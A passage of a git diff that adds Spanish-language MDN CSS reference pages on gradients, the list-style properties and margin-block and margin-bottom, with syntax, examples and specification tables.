+   <td>10.0 (534.16){{ property_prefix("-webkit") }} <sup><a href="#bc2">[2]</a></sup></td>
+   <td>10</td>
+   <td>11.10{{ property_prefix("-o") }}<sup><a href="#bc4">[4]</a></sup></td>
+   <td>5.1{{ property_prefix("-webkit") }}<sup><a href="#bc2%3E">[2]</a></sup></td>
+  </tr>
+  <tr>
+   <td>Standard syntax (using the <code>to</code> keyword)</td>
+   <td>16</td>
+   <td>26.0 (537.27)</td>
+   <td>10</td>
+   <td>12.10</td>
+   <td>6.1</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><sup><a name="bc1">[1]</a></sup> Internet Explorer 5.5 through 9.0 supports proprietary <a class="external" href="http://msdn.microsoft.com/en-us/library/ms532997(VS.85,loband).aspx"><code>filter: progid:DXImageTransform.Microsoft.Gradient()</code> filter</a>.</p>
+
+<p><sup><a name="bc2">[2]</a></sup> WebKit since 528 supports the legacy <a class="external" href="http://developer.apple.com/safari/library/documentation/InternetWeb/Conceptual/SafariVisualEffectsProgGuide/Gradients/Gradients.html"><code>-webkit-gradient(linear,…)</code> function</a>. As of WebKit 534.16, it also supports the standard gradient syntax. Unlike in Gecko, in legacy WebKit you cannot specify both a position and angle in <code>-webkit-linear-gradient()</code>. You can achieve the same effect by offsetting the color stops.</p>
+
+<p><sup><a name="bc3">[3]</a></sup> Gecko, Opera &amp; Webkit considers {{ cssxref("&lt;angle&gt;") }} to start to the right, instead of the top. I.e. it considered an angle of <code>0deg</code> as a direction indicator pointing to the right. This is different from the latest specification where an angle of <code>0deg</code> as a direction indicator points to the top.</p>
+
+<p><sup><a name="bc4">[4]</a></sup> Firefox 3.6 and Opera 11.10 implemented, prefixed, an early syntax where the starting corner or side was indicated without the <code>to</code> keyword, and effectively considered as a <em>from</em> position. The <code>to</code> syntax has been added in Firefox 10 and Opera 11.60 , at first without removing the deprecated syntax and translation between the two is trivial:</p>
+
+<pre class="notranslate">linear-gradient(to top left, blue, red);</pre>
+
+<p>is almost the same as:</p>
+
+<pre class="notranslate">-moz-linear-gradient(bottom right, blue, red);</pre>
+
+<p>The legacy syntax, without <code>to</code>, is planned to go away when the prefix is removed.</p>
+
+<h3 id="Cross-browser_gradients">Cross-browser gradients</h3>
+
+<p>Considering all prefixes above, here is a gradient from pink to green, top to bottom.</p>
+
+<pre class="brush: css notranslate">.grad {
+  background-color: #F07575; /* fallback color if gradients are not supported */
+  background-image: -webkit-linear-gradient(top, hsl(0, 80%, 70%), #bada55); /* For Chrome 25 and Safari 6, iOS 6.1, Android 4.3 */
+  background-image:    -moz-linear-gradient(top, hsl(0, 80%, 70%), #bada55); /* For Firefox (3.6 to 15) */
+  background-image:      -o-linear-gradient(top, hsl(0, 80%, 70%), #bada55); /* For old Opera (11.1 to 12.0) */
+  background-image:         linear-gradient(to bottom, hsl(0, 80%, 70%), #bada55); /* Standard syntax; must be last */
+}
+</pre>
+
+<p>The -moz- prefixed rules are used for compatibility with older versions (Fx 3.6 to Fx 15). The -webkit-prefix is the only one that still needs to be included for Android 4.3-, iOS up to 6.1, and Safari 6. When using a prefix, do not use 'to'.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/CSS/Using_CSS_gradients" title="en/Using gradients">Using CSS gradients</a>, {{ cssxref("radial-gradient", "radial-gradient()") }}, {{ cssxref("repeating-linear-gradient", "repeating-linear-gradient()") }}, {{ cssxref("repeating-radial-gradient", "repeating-radial-gradient()") }};</li>
+ <li>Some properties where it can be used: {{ cssxref("background-image") }}, {{ cssxref("background") }};</li>
+ <li><a class="external" href="http://lea.verou.me/css3patterns/" title="http://leaverou.me/css3patterns/">CSS Gradients Patterns Gallery, by Lea Verou</a><span class="external">;</span></li>
+ <li><a class="external" href="http://standardista.com/cssgradients" title="http://standardista.com/cssgradients">CSS3 Gradients Library, by Estelle Weyl</a>.</li>
+</ul>
diff --git a/files/es/web/css/list-style-image/index.html b/files/es/web/css/list-style-image/index.html
new file mode 100644
index 0000000000..c41f13541c
--- /dev/null
+++ b/files/es/web/css/list-style-image/index.html
@@ -0,0 +1,72 @@
+---
+title: list-style-image
+slug: Web/CSS/list-style-image
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Referencia_CSS
+  - Todas_las_Categorías
+translation_of: Web/CSS/list-style-image
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>La imagen de lista (<code>list-style-image</code>) define la imagen que será utilizada como marcador del <a href="es/HTML/Element/li">listado</a>.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: {{ Cssxref("none", "ninguno") }}</li>
+ <li>Se aplica a: elementos con 'display: list-item'</li>
+ <li>{{ Cssxref("inheritance", "Valor heredado") }}: Sí</li>
+ <li>Porcentajes: n/a</li>
+ <li>Medio: {{ Cssxref("Media:Visual", "visual") }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculado") }}: URI absoluta o <code>none</code></li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">list-style-image: &lt;uri&gt; | none | inherit
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt><code>uri</code> </dt>
+ <dd>directorio donde se encuentra la imagen que se utilizará como marcador.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+    &lt;li&gt;Item 1&lt;/li&gt;
+    &lt;li&gt;Item 2&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">ul {
+  list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif")
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Ejemplos')}}</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#list-style-image">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#propdef-list-style-image">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-lists/#list-style-image">css3-lists</a></li>
+</ul>
+
+<h3 id="Compatibilidad_con_navegadores" name="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h3>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("list-style") }}, {{ Cssxref("list-style-type") }}, {{ Cssxref("list-style-position") }}</p>
+
+<p>{{ languages( { "fr": "fr/CSS/list-style-image", "pl": "pl/CSS/list-style-image", "en": "en/CSS/list-style-image" } ) }}</p>
diff --git a/files/es/web/css/list-style-position/index.html b/files/es/web/css/list-style-position/index.html
new file mode 100644
index 0000000000..823553b62d
--- /dev/null
+++ b/files/es/web/css/list-style-position/index.html
@@ -0,0 +1,97 @@
+---
+title: list-style-position
+slug: Web/CSS/list-style-position
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Referencia_CSS
+  - Todas_las_Categorías
+translation_of: Web/CSS/list-style-position
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>La posición de la lista (<code>list-style-position</code>) especifica donde será colocado el marcador de la lista en relación a la caja principal.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: {{ Cssxref("outside", "outside (afuera)") }}</li>
+ <li>Se aplica a: elementos con 'display: list-item'</li>
+ <li>{{ Cssxref("inheritance", "Valor heredado") }}: Sí</li>
+ <li>Porcentajes: n/a</li>
+ <li>Medio: {{ Cssxref("Media:Visual", "visual") }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculado") }}: como especificado</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">list-style-position: inside | outside | inherit
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt><code>outside</code> </dt>
+ <dd>el marcador se encuentra fuera de la caja principal.</dd>
+ <dt><code>inside</code> </dt>
+ <dd>el marcador es la primera caja en línea dentro de la caja principal, después de la cual fluye el resto de los elementos.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="one"&gt; List 1
+  &lt;li&gt;List Item 1-1&lt;/li&gt;
+  &lt;li&gt;List Item 1-2&lt;/li&gt;
+  &lt;li&gt;List Item 1-3&lt;/li&gt;
+  &lt;li&gt;List Item 1-4&lt;/li&gt;
+&lt;/ul&gt;
+&lt;ul class="two"&gt; List 2
+  &lt;li&gt;List Item 2-1&lt;/li&gt;
+  &lt;li&gt;List Item 2-2&lt;/li&gt;
+  &lt;li&gt;List Item 2-3&lt;/li&gt;
+  &lt;li&gt;List Item 2-4&lt;/li&gt;
+&lt;/ul&gt;
+&lt;ul class="three"&gt; List 3
+  &lt;li&gt;List Item 3-1&lt;/li&gt;
+  &lt;li&gt;List Item 3-2&lt;/li&gt;
+  &lt;li&gt;List Item 3-3&lt;/li&gt;
+  &lt;li&gt;List Item 3-4&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css;">.one {
+  list-style:square inside;
+}
+
+.two {
+  list-style-position: outside;
+  list-style-type: circle;
+}
+
+.three {
+  list-style-image: url("https://mdn.mozillademos.org/files/11979/starsolid.gif");
+  list-style-position: inherit;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Ejemplos","200","420")}}</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#list-style-position">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#propdef-list-style-position">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-lists/#list-style-position">css3-lists</a></li>
+</ul>
+
+<h3 id="Compatibilidad_con_navegadores" name="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h3>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("list-style") }}, {{ Cssxref("list-style-type") }}, {{ Cssxref("list-style-image") }}</p>
+
+<p>{{ languages( { "fr": "fr/CSS/list-style-position", "pl": "pl/CSS/list-style-position", "en": "en/CSS/list-style-position" } ) }}</p>
diff --git a/files/es/web/css/list-style-type/index.html b/files/es/web/css/list-style-type/index.html
new file mode 100644
index 0000000000..f118ce0358
--- /dev/null
+++ b/files/es/web/css/list-style-type/index.html
@@ -0,0 +1,117 @@
+---
+title: list-style-type
+slug: Web/CSS/list-style-type
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Referencia_CSS
+  - Todas_las_Categorías
+translation_of: Web/CSS/list-style-type
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>El {{ Cssxref("list-style-type", "tipo de estilo de lista") }} especifica la apariencia del <a href="/es/HTML/Element/li" title="es/HTML/Element/li">listado</a>.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: {{ Cssxref("disc", "disco/punto") }}</li>
+ <li>Se aplica a: elementos con 'display: list-item'</li>
+ <li>{{ Cssxref("inheritance", "Valor heredado") }}: Sí</li>
+ <li>Porcentajes: n/a</li>
+ <li>Medio: {{ Cssxref("Media:Visual", "visual") }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculado") }}: según se especificó</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"> list-style-type:  &lt;std-list-style-name&gt; | {{ Cssxref("none") }} | {{ Cssxref("inherit") }} ;
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>&lt;std-list-style-name&gt;</dt>
+ <dd>un nombre de estilo de lista estándar: <code>disc, circle, square, decimal, decimal-leading-zero, lower-roman, upper-roman, lower-greek, lower-latin, upper-latin, armenian, georgian, lower-alpha, upper-alpha</code></dd>
+ <dt><code>disc</code></dt>
+ <dd>un disco.</dd>
+ <dt><code>circle</code></dt>
+ <dd>un círculo.</dd>
+ <dt><code>square</code></dt>
+ <dd>un cuadrado.</dd>
+ <dt><code>decimal</code></dt>
+ <dd>números decimales empezando con 1.</dd>
+ <dt><code>decimal-leading-zero</code></dt>
+ <dd>números decimales empezando eventualmente por ceros (por ejemplo: 01, 02, 03, ..., 98, 99).</dd>
+ <dt><code>lower-roman</code></dt>
+ <dd>números romanos en minúscula (i, ii, iii, iv, v, etc.).</dd>
+ <dt><code>upper-roman</code></dt>
+ <dd>números romanos en mayúscula (I, II, III, IV, V, etc.).</dd>
+ <dt><code>lower-greek</code></dt>
+ <dd>letras griegas en minúscula alfa/α, beta/β, gamma/γ, ...</dd>
+ <dt><code>lower-latin</code></dt>
+ <dd>letras ASCII en minúscula (a, b, c, ... z).</dd>
+ <dt><code>upper-latin</code></dt>
+ <dd>letras ASCII en mayúscula (A, B, C, ... Z).</dd>
+ <dt><code>armenian</code></dt>
+ <dd>numeración armenia tradicional (ayb/ayp, ben/pen, gim/keem, ...).</dd>
+ <dt><code>georgian</code></dt>
+ <dd>numeración georgiana tradicional (an, ban, gan, ..., he, tan, in, in-an, ...).</dd>
+ <dt><code>lower-alpha</code></dt>
+ <dd>es igual que <code>lower-latin</code>.</dd>
+ <dt><code>upper-alpha</code></dt>
+ <dd>es igual que <code>upper-latin</code>.</dd>
+ <dt><code>none</code></dt>
+ <dd>nada.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">ol.normal {
+  list-style-type: upper-alpha;
+}
+
+/* or use the shortcut "list-style": */
+ol.shortcut {
+  list-style: upper-alpha;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ol class="normal"&gt;List 1
+  &lt;li&gt;Hello&lt;/li&gt;
+  &lt;li&gt;World&lt;/li&gt;
+  &lt;li&gt;What's up?&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;ol class="shortcut"&gt;List 2
+  &lt;li&gt;Looks&lt;/li&gt;
+  &lt;li&gt;Like&lt;/li&gt;
+  &lt;li&gt;The&lt;/li&gt;
+  &lt;li&gt;Same&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Ejemplos","200","300")}}</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Ésta especificación no define el comportamiento en el caso de una lista con más elementos que la cantidad de letras del alfabeto utilizado. Por ejemplo, después de 26 letras, el resultado con <code>lower-latin</code> no es definido (y continuará como: AA, AB, AC,...). Por eso, para listas largas, es recomendable utilizar números.</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#list-style-type">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#propdef-list-style-type">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-lists/#list-style-type">css3-lists</a></li>
+</ul>
+
+<h3 id="Compatibilidad_con_navegadores" name="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h3>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("list-style") }}, {{ Cssxref("list-style-image") }}, {{ Cssxref("list-style-position") }}</p>
diff --git a/files/es/web/css/list-style/index.html b/files/es/web/css/list-style/index.html
new file mode 100644
index 0000000000..bf92a28951
--- /dev/null
+++ b/files/es/web/css/list-style/index.html
@@ -0,0 +1,82 @@
+---
+title: list-style
+slug: Web/CSS/list-style
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Referencia_CSS
+  - Todas_las_Categorías
+translation_of: Web/CSS/list-style
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>La propiedad de estilo de lista (<code>list-style</code>) permite definir de golpe todos los parámetros: {{ Cssxref("list-style-type") }}, {{ Cssxref("list-style-image") }}, y {{ Cssxref("list-style-position") }}.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: ver propiedades individuales</li>
+ <li>Se aplica a: elementos con 'display: list-item'</li>
+ <li>{{ Cssxref("inheritance", "Valor heredado") }}: no</li>
+ <li>Porcentajes: N/A</li>
+ <li>Medio: {{ Cssxref("Media:Visual", "visual") }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculado") }}: ver propiedades individuales</li>
+</ul>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<p>list-style: {{ mediawiki.external(' list-style-type || list-style-position || list-style-image ') }} | inherit</p>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>ver {{ Cssxref("list-style-type", "list-style-type") }}.</dt>
+ <dt>ver {{ Cssxref("list-style-image", "list-style-image") }}.</dt>
+ <dt>ver {{ Cssxref("list-style-position", "list-style-position") }}.</dt>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">List 1
+&lt;ul class="one"&gt;
+  &lt;li&gt;List Item1&lt;/li&gt;
+  &lt;li&gt;List Item2&lt;/li&gt;
+  &lt;li&gt;List Item3&lt;/li&gt;
+&lt;/ul&gt;
+List 2
+&lt;ul class="two"&gt;
+  &lt;li&gt;List Item A&lt;/li&gt;
+  &lt;li&gt;List Item B&lt;/li&gt;
+  &lt;li&gt;List Item C&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.one {
+  list-style: circle;
+}
+
+.two {
+  list-style: square inside;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Ejemplos')}}</p>
+
+<h2 id="Especificaciones" name="Especificaciones">Especificaciones</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#list-style">CSS 1 (en)</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#propdef-list-style">CSS 2.1 (en)</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-lists/#list-style">css3-lists (en)</a></li>
+</ul>
+
+<h2 id="Compatibilidad_con_navegadores" name="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("list-style-type") }}, {{ Cssxref("list-style-image") }}, {{ Cssxref("list-style-position")}}</p>
diff --git a/files/es/web/css/margin-block-start/index.html b/files/es/web/css/margin-block-start/index.html
new file mode 100644
index 0000000000..1ec94d7b76
--- /dev/null
+++ b/files/es/web/css/margin-block-start/index.html
@@ -0,0 +1,99 @@
+---
+title: margin-block-start
+slug: Web/CSS/margin-block-start
+translation_of: Web/CSS/margin-block-start
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>margin-block-start</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> property defines the logical block start margin of an element, which maps to a physical margin depending on the element's writing mode, directionality, and text orientation.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-block-start.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+margin-block-start: 10px;  /* An absolute length */
+margin-block-start: 1em;   /* relative to the text size */
+margin-block-start: 5%;    /* relative to the nearest block container's width */
+
+/* Keyword values */
+margin-block-start: auto;
+
+/* Global values */
+margin-block-start: inherit;
+margin-block-start: initial;
+margin-block-start: unset;
+</pre>
+
+<p>Esto corresponde a las propiedades {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, o {{cssxref("margin-left")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<p>Se relaciona con {{cssxref("margin-block-end")}}, {{cssxref("margin-inline-start")}}, and {{cssxref("margin-inline-end")}}, que define las otras márgenes del elemento. </p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>margin-block-start</code> toma los mismos valores de la propiedad {{cssxref("margin-left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  margin-block-start: 20px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-margin-block-start", "margin-block-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.margin-block-start")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, y {{cssxref("margin-left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/margin-block/index.html b/files/es/web/css/margin-block/index.html
new file mode 100644
index 0000000000..680b41219d
--- /dev/null
+++ b/files/es/web/css/margin-block/index.html
@@ -0,0 +1,108 @@
+---
+title: margin-block
+slug: Web/CSS/margin-block
+translation_of: Web/CSS/margin-block
+---
+<p>{{CSSRef}}{{SeeCompatTable}}  </p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>margin-block</code></strong> define el bloque lógico de inicio y fin de las márgenes de un elemento, que se asigna a las márgenes físicas en función del modo de escritura del elemento, la direccionalidad y la orientación del texto.</p>
+
+<pre class="brush:css no-line-numbers notranslate">/* &lt;length&gt; values */
+margin-block: 10px 20px;  /* An absolute length */
+margin-block: 1em 2em;   /* relative to the text size */
+margin-block: 5% 2%;    /* relative to the nearest block container's width */
+margin-block: 10px; /* sets both start and end values */
+
+/* Keyword values */
+margin-block: auto;
+
+/* Global values */
+margin-block: inherit;
+margin-block: initial;
+margin-block: unset;
+</pre>
+
+
+
+<p>Estos valores corresponden a {{CSSxRef("margin-top")}} y  {{CSSxRef("margin-bottom")}}, o {{CSSxRef("margin-right")}}, y {{CSSxRef("margin-left")}} depende de los valores definidos para {{CSSxRef("writing-mode")}}, {{CSSxRef("direction")}}, y {{CSSxRef("text-orientation")}}.</p>
+
+<h2 id="Propiedades_que_lo_constituyen">Propiedades que lo constituyen</h2>
+
+<p>Los valores se pueden establecer individualmente como {{CSSxRef("margin-block-start")}} y {{CSSxRef("margin-block-end")}}. La propiedad de dirección en línea es {{CSSxRef("margin-inline")}} que establece {{CSSxRef("margin-inline-start")}}, y {{CSSxRef("margin-inline-end")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>margin-block</code> toma los mismos valores de la propiedad {{CSSxRef("margin-left")}}.</p>
+
+<h3 id="Definición_formal">Definición formal</h3>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Definiendo_el_comienzo_del_bloque_y_el_fin_de_los_margenes">Definiendo el comienzo del bloque y el fin de los margenes</h3>
+
+<h4 id="HTML"><strong>HTML</strong></h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS"><strong>CSS</strong></h4>
+
+<pre class="brush: css notranslate">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  margin-block: 20px 40px;
+  background-color: #c8c800;
+}</pre>
+
+<h4 id="Resultado"><strong>Resultado</strong></h4>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-margin-block", "margin-block")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.margin-block")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{CSSxRef("margin-top")}}, {{CSSxRef("margin-right")}}, {{CSSxRef("margin-bottom")}}, y {{CSSxRef("margin-left")}}</li>
+ <li>{{CSSxRef("writing-mode")}}, {{CSSxRef("direction")}}, {{CSSxRef("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/margin-bottom/index.html b/files/es/web/css/margin-bottom/index.html
new file mode 100644
index 0000000000..7d2b61a238
--- /dev/null
+++ b/files/es/web/css/margin-bottom/index.html
@@ -0,0 +1,139 @@
+---
+title: margin-bottom
+slug: Web/CSS/margin-bottom
+translation_of: Web/CSS/margin-bottom
+---
+<div>{{CSSRef()}}</div>
+
+<h2 id="Summary" name="Summary">Summary</h2>
+
+<p><img alt="The effect of the CSS margin-bottom property on the element box" src="/files/4045/margin-bottom.svg" style="border: 1px solid; float: left; height: 130px; margin-bottom: 1em; margin-right: 1em; padding-right: 0.5em; width: 400px;"><span class="seoSummary">El <code>margin-bottom</code> <a href="/en-US/docs/CSS" title="CSS">CSS</a>  (<em>margen-inferior</em>) es la propiedad de un elemento que establece el espacio requerido en la parte inferior de un elemento. Tambien se permiten valores negativos.</span></p>
+
+<p><span class="seoSummary">Esta propiedad no tiene ningun efecto sobre los elementos en linea <em>non-replaced</em> , como {{HTMLElement("tt")}} o {{HTMLElement("span")}}.</span></p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Formal syntax</a>: {{csssyntax("margin-bottom")}}</pre>
+
+<pre>margin-bottom: 10px;        /* Una longitud absoluta (sin redimension) */
+margin-bottom: 1em;         /* Una longitud en relacion con el tamaño del texto */
+margin-bottom: 5%;          /* Un margen respecto al ancho de su objeto padre (el que lo contiene)  */
+margin-bottom: auto;
+
+margin-bottom: inherit; /*margen heredado*/
+</pre>
+
+<h3 id="Values" name="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Specifies a fixed width. See {{cssxref("&lt;length&gt;")}} for possible values.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>A {{cssxref("&lt;percentage&gt;")}} always relative to the <strong>width</strong> of the containing block.</dd>
+ <dt><code>auto</code></dt>
+ <dd>See {{cssxref("margin")}}.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Examples</h2>
+
+<pre class="brush:css;">.content { margin-bottom:   5%; }
+.sidebox { margin-bottom: 10px; }
+.logo    { margin-bottom: -5px; }
+#header  { margin-bottom:  1em; }
+</pre>
+
+<div><a href="https://jsfiddle.net/V3hrF">Ver en el JSFiddle</a></div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-margin', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>margin-bottom</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
